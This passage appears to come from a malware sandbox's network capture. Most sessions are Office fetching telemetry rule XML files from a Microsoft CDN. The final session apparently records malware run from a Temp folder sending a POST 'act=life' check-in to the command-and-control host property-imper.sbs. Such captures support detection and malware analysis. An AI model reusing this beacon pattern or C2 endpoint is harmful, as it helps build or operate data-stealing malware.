EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:43 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:44 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:43 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 8f21b959-301e-0096-6e6c-3de71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011443Z-15b8b599d885v8r9hC1TEB104g00000003q000000000haat x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 01:14:44 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:44 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:45 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:44 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: e88bdfa1-301e-003f-630e-3d266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011444Z-178bfbc474btvfdfhC1NYCa2en00000005dg000000002wrd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:45 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:44 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:45 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:45 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: ee240466-601e-00ab-24f2-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011445Z-178bfbc474bbcwv4hC1NYCypys000000056g0000000023t2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:45 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:44 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:45 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:45 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 3cbcbade-201e-0000-6443-3ca537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011445Z-178bfbc474btvfdfhC1NYCa2en000000057g00000000kppp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:45 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:45 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:46 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2155ac17-401e-00a3-238c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011446Z-174c587ffdfb485jhC1TEBmc1s00000003mg0000000068mz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:46 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:45 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:46 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c476523a-d01e-008e-6755-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011446Z-15b8b599d88z9sc7hC1TEBkr4w00000003s000000000mcv5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:46 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:47 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:47 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:47 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 23c3770b-601e-0084-293a-3c6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011447Z-178bfbc474bh5zbqhC1NYCkdug000000052g00000000mks8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:47 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:47 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:47 UTC	522	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:47 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: f26cc31d-e01e-0085-3f0e-3ec311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011447Z-178bfbc474bmqmgjhC1NYCy16c00000005d0000000003vk9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_REMOTE_HIT X-Cache-Info: L2_T1 Accept-Ranges: bytes
2024-11-24 01:14:47 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:47 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:47 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:47 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: dd43f91c-901e-005b-7e7f-3b2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011447Z-174c587ffdfmrvb9hC1TEBtn3800000003p000000000nxq5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:47 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:48 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:48 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:48 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 2537c9bf-601e-0050-536a-3c2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011448Z-174c587ffdftjz9shC1TEBsh9800000003hg00000000gc93 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:48 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:48 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:48 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:48 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 2df0f233-b01e-0084-4f11-3dd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011448Z-178bfbc474bvjk8shC1NYC83ns000000052000000000d4w7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:48 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	49900	104.21.33.116	443	7524	C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:48 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-24 01:14:48 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-24 01:14:49 UTC	1018	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ode37ufo52ehm88juoqvht73dr; expires=Wed, 19-Mar-2025 19:01:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3P%2BQvNdQuwmRC2KGa8CkyV%2BOiro6%2B0ouoLIjYFv%2F2x2QHpG0EB4Hn7ZGc%2Bek4z0E4ctawcQgOKvxsHkD7Tw5sYPjLFjO0D8Yg74pBeVBr6xWqMbQ8TyRPwhp31DRapR30I64JeA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e758b552b5b7ce2-EWR 